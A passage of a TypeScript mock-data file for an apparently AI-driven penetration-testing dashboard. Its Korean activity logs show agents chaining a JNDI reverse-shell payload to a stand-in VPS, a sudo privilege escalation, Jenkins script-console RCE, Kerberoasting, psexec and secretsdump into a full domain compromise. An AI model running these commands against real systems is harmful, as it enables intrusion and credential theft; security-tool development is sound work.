|
||
kind: "thinking",
|
||
summary:
|
||
"JNDI/LDAP 악성 서비스를 하나 띄워 shop 이 역방향으로 연결해 payload 를 로드·실행하게 하고, 먼저 dnslog 로 외부 통신을 확인한 뒤 리버스 셸을 확보한다.",
|
||
},
|
||
{
|
||
seq: 331,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:15:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7a",
|
||
summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # LDAP/HTTP 악성 서비스 기동",
|
||
},
|
||
{
|
||
seq: 332,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:16:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7a",
|
||
summary: "LDAP Server started on 1389, HTTP on 8180",
|
||
detail: "악성 서비스가 준비됐다.",
|
||
},
|
||
{
|
||
seq: 333,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:20:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7b",
|
||
summary:
|
||
'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import',
|
||
},
|
||
{
|
||
seq: 334,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:21:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7b",
|
||
summary: "LDAP 가 요청을 수신 → ReverseShell 로드 → nc 리스너가 연결 수신",
|
||
detail: "payload 가 성공적으로 트리거됐다.",
|
||
},
|
||
{
|
||
seq: 335,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:24:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7c",
|
||
summary: "id; hostname -I # 리버스 셸 안에서 신원과 네트워크 대역 확인",
|
||
},
|
||
{
|
||
seq: 336,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:24:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7c",
|
||
summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15",
|
||
detail: "www-data@dmz-web01 이고, 두 번째 네트워크 카드가 10.10.10.x 다. DMZ 에 진입했고 내부망에 인접했다.",
|
||
},
|
||
{
|
||
seq: 337,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:30:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t7d",
|
||
summary: "report_finding(Deserialization RCE, high)",
|
||
},
|
||
{
|
||
seq: 338,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
kind: "result",
|
||
summary: "역직렬화 RCE 로 www-data 리버스 셸을 확보했고, 목표 ③ 거점을 1차로 구축했다.",
|
||
input_tokens: 132000,
|
||
output_tokens: 8600,
|
||
cache_read_tokens: 90000,
|
||
cache_write_tokens: 12000,
|
||
},
|
||
|
||
// work#8 · i8 立足点提权(done)
|
||
{
|
||
seq: 340,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:02:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"www-data 권한이 제한적이므로, 먼저 로컬 정보 수집으로 권한 상승 지점을 찾는다: sudo 설정, SUID, 커널 버전.",
|
||
},
|
||
{
|
||
seq: 341,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:05:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t8a",
|
||
summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head",
|
||
},
|
||
{
|
||
seq: 342,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:05:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t8a",
|
||
summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3",
|
||
detail: "sudo 화이트리스트에 python3 가 있고 비밀번호도 면제된다. 곧바로 권한 상승이 가능하다.",
|
||
},
|
||
{
|
||
seq: 343,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:10:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t8b",
|
||
summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'",
|
||
},
|
||
{
|
||
seq: 344,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:10:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t8b",
|
||
summary: "uid=0(root) gid=0(root) groups=0(root)",
|
||
detail: "root 로 권한을 상승했다.",
|
||
},
|
||
{
|
||
seq: 345,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:14:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t8c",
|
||
summary: "report_finding(Privilege Escalation, high)",
|
||
},
|
||
{
|
||
seq: 346,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
kind: "result",
|
||
summary: "로컬에서 root 권한 상승을 마쳐 거점이 공고해졌고, 이를 pivot 삼아 내부망을 공략할 준비를 한다.",
|
||
input_tokens: 74000,
|
||
output_tokens: 4700,
|
||
cache_read_tokens: 50000,
|
||
cache_write_tokens: 7000,
|
||
},
|
||
|
||
// work#9 · i9 内网主机发现(done)
|
||
{
|
||
seq: 350,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:32:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"거점이 10.10.10.0/24 에 직접 연결되므로, fscan·내부망 스캔으로 호스트·포트를 발견하고 도메인 컨트롤러와 고가치 호스트를 특정한다.",
|
||
},
|
||
{
|
||
seq: 351,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t9a",
|
||
summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30",
|
||
},
|
||
{
|
||
seq: 352,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:55:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t9a",
|
||
summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080",
|
||
detail: "도메인 컨트롤러 DC01, 파일 서버 FS01, 내부 Jenkins 를 특정했다.",
|
||
},
|
||
{
|
||
seq: 353,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
kind: "result",
|
||
summary: "내부망 호스트 발견을 완료했고, 고가치 대상 3대를 그래프에 반영했다.",
|
||
input_tokens: 82000,
|
||
output_tokens: 5100,
|
||
cache_read_tokens: 56000,
|
||
cache_write_tokens: 8000,
|
||
},
|
||
|
||
// work#10 · i10 内网凭据复用(running)
|
||
{
|
||
seq: 360,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:42:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"소스 코드 유출로 얻은 sa/Acme@2021 은 DB 비밀번호인데, 기업에서는 비밀번호 재사용이 흔하다. DC01/FS01/JENKINS 를 대상으로 패스워드 스프레이를 수행한다.",
|
||
},
|
||
{
|
||
seq: 361,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t10a",
|
||
summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'",
|
||
},
|
||
{
|
||
seq: 362,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:44:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t10a",
|
||
summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 인증 실패",
|
||
detail: "FS01 에서 sa 비밀번호 재사용에 성공했고 관리자 권한도 있다. DC01 은 연결되지 않았다.",
|
||
},
|
||
{
|
||
seq: 363,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
kind: "thinking",
|
||
summary: "FS01 을 장악했고, 공유 디렉터리를 열거해 더 많은 자격 증명과 민감 파일을 찾는 중이다…",
|
||
},
|
||
|
||
// work#11 · i11 Jenkins 未授权 RCE(done)
|
||
{
|
||
seq: 370,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:32:00Z"),
|
||
kind: "thinking",
|
||
summary: "JENKINS 8080 에 바로 접근할 수 있으니, 먼저 /script 콘솔이 인증을 요구하는지 확인한다.",
|
||
},
|
||
{
|
||
seq: 371,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:35:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11a",
|
||
summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 372,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:35:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11a",
|
||
summary: "200",
|
||
detail: "Script Console 에 로그인 없이 접근할 수 있다.",
|
||
},
|
||
{
|
||
seq: 373,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:40:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11b",
|
||
summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText",
|
||
},
|
||
{
|
||
seq: 374,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:40:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11b",
|
||
summary: "nt authority\\system",
|
||
detail: "Groovy 가 SYSTEM 권한으로 실행된다.",
|
||
},
|
||
{
|
||
seq: 375,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11c",
|
||
summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # Jenkins 자격 증명 저장소 덤프",
|
||
},
|
||
{
|
||
seq: 376,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:45:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11c",
|
||
summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!",
|
||
detail: "도메인 서비스 계정 두 개의 평문 비밀번호를 덤프했다.",
|
||
},
|
||
{
|
||
seq: 377,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:48:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t11d",
|
||
summary: "report_finding(Unauthenticated RCE, high)",
|
||
},
|
||
{
|
||
seq: 378,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
kind: "result",
|
||
summary: "Jenkins 미인증 RCE 를 확인했고, 도메인 서비스 계정 두 개의 자격 증명을 덤프했다.",
|
||
input_tokens: 96000,
|
||
output_tokens: 6200,
|
||
cache_read_tokens: 64000,
|
||
cache_write_tokens: 9500,
|
||
},
|
||
|
||
// work#12 · i12 Kerberoasting(done)
|
||
{
|
||
seq: 380,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:42:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"svc_deploy 자격 증명으로 도메인 인증을 하고, GetUserSPNs 로 Kerberoast 가능한 서비스 계정의 TGS 를 요청한다.",
|
||
},
|
||
{
|
||
seq: 381,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:50:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12a",
|
||
summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request",
|
||
},
|
||
{
|
||
seq: 382,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:52:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12a",
|
||
summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...",
|
||
detail: "svc_sql 의 TGS 티켓 (Kerberos RC4) 을 확보했다.",
|
||
},
|
||
{
|
||
seq: 383,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:10:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12b",
|
||
summary: "hashcat -m 13100 tgs.hash rockyou.txt --force",
|
||
},
|
||
{
|
||
seq: 384,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:18:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12b",
|
||
summary: "$krb5tgs$23$*svc_sql$...:Sql@2020",
|
||
detail: "8분 만에 비밀번호 Sql@2020 을 크랙했다.",
|
||
},
|
||
{
|
||
seq: 385,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:19:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t12c",
|
||
summary: "report_finding(Kerberoasting, high)",
|
||
},
|
||
{
|
||
seq: 386,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
kind: "result",
|
||
summary: "Kerberoasting 으로 svc_sql 비밀번호를 크랙했고, 도메인 컨트롤러 공격에 쓰도록 그래프에 반영했다.",
|
||
input_tokens: 108000,
|
||
output_tokens: 6800,
|
||
cache_read_tokens: 72000,
|
||
cache_write_tokens: 10000,
|
||
},
|
||
|
||
// work#13 · i13 拿下域控 DC01(done,证明 g4)
|
||
{
|
||
seq: 390,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:52:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"svc_deploy 는 Jenkins 자격 증명 저장소에서 나왔으니, 먼저 그룹 멤버십을 조회한다. Domain Admins 소속이면 곧바로 DC01 에 psexec 할 수 있다.",
|
||
},
|
||
{
|
||
seq: 391,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:55:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13a",
|
||
summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10",
|
||
},
|
||
{
|
||
seq: 392,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:55:05Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13a",
|
||
summary: "ACME\\Administrator\nACME\\svc_deploy",
|
||
detail: "svc_deploy 는 Domain Admins 멤버다.",
|
||
},
|
||
{
|
||
seq: 393,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:00:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13b",
|
||
summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10",
|
||
},
|
||
{
|
||
seq: 394,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:00:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13b",
|
||
summary: "C:\\Windows\\system32> whoami\nnt authority\\system",
|
||
detail: "SYSTEM 권한으로 도메인 컨트롤러 DC01 에 로그인했다.",
|
||
},
|
||
{
|
||
seq: 395,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:05:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13c",
|
||
summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc",
|
||
},
|
||
{
|
||
seq: 396,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:10:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13c",
|
||
summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::",
|
||
detail: "전체 도메인 NTLM 해시를 덤프했고 (krbtgt 포함), 골든 티켓을 만들어 지속적으로 장악할 수 있다.",
|
||
},
|
||
{
|
||
seq: 397,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:15:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t13d",
|
||
summary: "report_finding(Domain Compromise, high)",
|
||
},
|
||
{
|
||
seq: 398,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
kind: "result",
|
||
summary: "도메인 컨트롤러 DC01 을 장악했고, secretsdump 로 전체 도메인 해시를 덤프해 목표를 달성했다.",
|
||
input_tokens: 144000,
|
||
output_tokens: 9200,
|
||
cache_read_tokens: 96000,
|
||
cache_write_tokens: 14000,
|
||
},
|
||
|
||
// 主 agent(人在环路对话)
|
||
{
|
||
seq: 70,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:18:00Z"),
|
||
kind: "user",
|
||
summary: "백오피스는 먼저 어디부터 공략할까?",
|
||
},
|
||
{
|
||
seq: 71,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:18:06Z"),
|
||
kind: "text",
|
||
summary:
|
||
"admin.acme.com 은 Element-UI 백오피스이고, 캡차도 속도 제한도 없습니다. 먼저 기본 비밀번호 목록(admin/admin123)을 쓰고 그다음 사전 공격으로 넘어가길 권합니다. worker 에이전트에 높은 우선순위 의도 하나를 이미 주입해 뒀습니다.",
|
||
},
|
||
{
|
||
seq: 72,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:52:00Z"),
|
||
kind: "user",
|
||
summary: "백오피스는 확보했어. 다음은 어디에 집중할까?",
|
||
},
|
||
{
|
||
seq: 73,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:52:08Z"),
|
||
kind: "text",
|
||
summary:
|
||
"목표 ②는 사용자 민감 데이터 읽기입니다. 「백오피스 사용자 엔드포인트 열거」와 「API IDOR」를 병렬로 진행합니다. 대량 내보내기는 가로채기 규칙을 건드리니, 당신이 승인해 허용해 주셔야 합니다.",
|
||
},
|
||
{
|
||
seq: 400,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:42:00Z"),
|
||
kind: "user",
|
||
summary: "shell 은 잡았어. 다음은 어떻게 공략할까?",
|
||
},
|
||
{
|
||
seq: 401,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:42:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"www-data 권한으로는 부족하니 먼저 권한을 상승시킵니다(sudo -l 이 가능성 있어 보입니다). root 를 잡은 뒤 DMZ 를 경유지로 삼아 내부망을 발견하고, 도메인 컨트롤러와 Jenkins 를 우선합니다.",
|
||
},
|
||
{
|
||
seq: 402,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:22:00Z"),
|
||
kind: "user",
|
||
summary: "내부망 스캔은 끝났어. Jenkins 그 호스트는 미인증인 것 같던데?",
|
||
},
|
||
{
|
||
seq: 403,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:22:08Z"),
|
||
kind: "text",
|
||
summary:
|
||
"맞습니다. /script 가 인증 없이 바로 Groovy RCE 로 이어집니다. worker 가 Jenkins 를 우선 공략하도록 힌트 하나를 이미 주입해 뒀습니다. 장악한 뒤에는 도메인 자격 증명을 덤프할 수 있고, 이어서 Kerberoasting 으로 도메인 컨트롤러를 공략합니다.",
|
||
},
|
||
{
|
||
seq: 404,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:00Z"),
|
||
kind: "user",
|
||
summary: "DC01 은 장악했어? 요약 좀 해줘.",
|
||
},
|
||
{
|
||
seq: 405,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:12Z"),
|
||
kind: "text",
|
||
summary:
|
||
"장악을 확인했습니다. 공격 경로는 다음과 같습니다. shop Fastjson RCE → DMZ 권한 상승 → 내부망 Jenkins 도메인 자격 증명 덤프 → svc_deploy 가 Domain Admins 소속 → psexec DC01 SYSTEM → secretsdump 전체 도메인 해시. 네 개 목표가 전부 달성됐거나 진행 중입니다.",
|
||
},
|
||
];
|
||
|
||
export function activityForTask(): Activity[] {
|
||
return activity;
|
||
}
|
||
|
||
// ── Token stats ──────────────────────────────────────────────────────────────
|
||
export const tokenWorkers: TokenUsage[] = [
|
||
{
|
||
worker: "planner",
|
||
input_tokens: 320000,
|
||
output_tokens: 24000,
|
||
cache_read_tokens: 210000,
|
||
cache_write_tokens: 33000,
|
||
},
|
||
{
|
||
worker: "work#1",
|
||
input_tokens: 288000,
|
||
output_tokens: 21000,
|
||
cache_read_tokens: 190000,
|
||
cache_write_tokens: 28000,
|
||
},
|
||
{
|
||
worker: "work#2",
|
||
input_tokens: 402000,
|
||
output_tokens: 31000,
|
||
cache_read_tokens: 280000,
|
||
cache_write_tokens: 41000,
|
||
},
|
||
{
|
||
worker: "work#3",
|
||
input_tokens: 274500,
|
||
output_tokens: 20320,
|
||
cache_read_tokens: 210400,
|
||
cache_write_tokens: 30000,
|
||
},
|
||
{ worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 },
|
||
{ worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 },
|
||
{ worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 },
|
||
{ worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 },
|
||
{ worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 },
|
||
{ worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 },
|
||
{ worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 },
|
||
{ worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 },
|
||
{ worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 },
|
||
];
|
||
|
||
// Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session
|
||
// (main | plan | intent:<id>) instead of the reusable work#N executor name.
|
||
export const tokenSessions: SessionTokenUsage[] = (() => {
|
||
const totals = new Map<string, SessionTokenUsage>();
|
||
for (const item of activity) {
|
||
if (item.kind !== "result") continue;
|
||
let session = "";
|
||
if (item.worker === "mainagent") session = "main";
|
||
else if (item.worker === "planner") session = "plan";
|
||
else if (item.intent_id) session = `intent:${item.intent_id}`;
|
||
if (!session) continue;
|
||
const current = totals.get(session) ?? {
|
||
session,
|
||
input_tokens: 0,
|
||
output_tokens: 0,
|
||
cache_read_tokens: 0,
|
||
cache_write_tokens: 0,
|
||
};
|
||
current.input_tokens += item.input_tokens ?? 0;
|
||
current.output_tokens += item.output_tokens ?? 0;
|
||
current.cache_read_tokens += item.cache_read_tokens ?? 0;
|
||
current.cache_write_tokens += item.cache_write_tokens ?? 0;
|
||
totals.set(session, current);
|
||
}
|
||
return [...totals.values()];
|
||
})();
|
||
|
||
export const tokenTotal: TokenTotal = grandTotal;
|
||
|
||
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
|
||
const d = new Date("2026-07-26T00:00:00Z");
|
||
d.setUTCDate(d.getUTCDate() - (29 - i));
|
||
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
|
||
return {
|
||
date: d.toISOString().slice(0, 10),
|
||
input_tokens: wave,
|
||
output_tokens: Math.round(wave * 0.08),
|
||
cache_read_tokens: Math.round(wave * 0.7),
|
||
cache_write_tokens: Math.round(wave * 0.12),
|
||
};
|
||
});
|
||
|
||
export const convTokens: ConvTokenSummary[] = [
|
||
{
|
||
llm_profile_id: 1,
|
||
created_at: T("2026-07-25T10:00:00Z"),
|
||
input_tokens: 42000,
|
||
output_tokens: 3800,
|
||
cache_read_tokens: 26000,
|
||
cache_write_tokens: 5200,
|
||
},
|
||
{
|
||
llm_profile_id: 2,
|
||
created_at: T("2026-07-24T16:00:00Z"),
|
||
input_tokens: 18000,
|
||
output_tokens: 1600,
|
||
cache_read_tokens: 9000,
|
||
cache_write_tokens: 2100,
|
||
},
|
||
];
|
||
|
||
// ── Traffic ──────────────────────────────────────────────────────────────────
|
||
const exchanges = [
|
||
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
|
||
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
|
||
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
|
||
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
|
||
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
|
||
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
|
||
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
|
||
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
|
||
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
|
||
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
|
||
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
|
||
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
|
||
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
|
||
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
|
||
["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048],
|
||
["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0],
|
||
["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200],
|
||
["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86],
|
||
["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0],
|
||
] as const;
|
||
|
||
export const traffic: TrafficResp = {
|
||
enabled: true,
|
||
proxy: ":8788",
|
||
count: exchanges.length,
|
||
total: exchanges.length,
|
||
page: 0,
|
||
size: 100,
|
||
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
|
||
id,
|
||
host,
|
||
method,
|
||
url,
|
||
status,
|
||
content_type: ct,
|
||
resp_len: len,
|
||
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
|
||
})),
|
||
};
|
||
|
||
// Distinct hosts with counts, derived from the exchanges above (target picker).
|
||
const hostCounts: Record<string, number> = {};
|
||
for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1;
|
||
export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count }));
|
||
|
||
export const trafficDetail: TrafficDetail = {
|
||
req: `GET /v1/orders?id=1002 HTTP/1.1
|
||
Host: api.acme.com
|
||
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
|
||
User-Agent: ARTEX-worker/1.0
|
||
Accept: application/json
|
||
|
||
`,
|
||
resp: `HTTP/1.1 200 OK
|
||
Content-Type: application/json
|
||
Content-Length: 655
|
||
|
||
{
|
||
"order_id": 1002,
|
||
"user_id": 77,
|
||
"amount": 1299.00,
|
||
"address": "서울시 강남구 ****",
|
||
"phone": "138****6021",
|
||
"items": [{ "sku": "A-100", "qty": 1 }]
|
||
}`,
|
||
};
|
||
|
||
// ── Security / Audit ─────────────────────────────────────────────────────────
|
||
export const audit: Audit = {
|
||
attributions: { allow: 312, block: 9 },
|
||
entries: [
|
||
{
|
||
ts: T("2026-07-26T03:33:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -d 'username=admin...' https://admin.acme.com/login",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T03:57:00Z"),
|
||
tool: "bash",
|
||
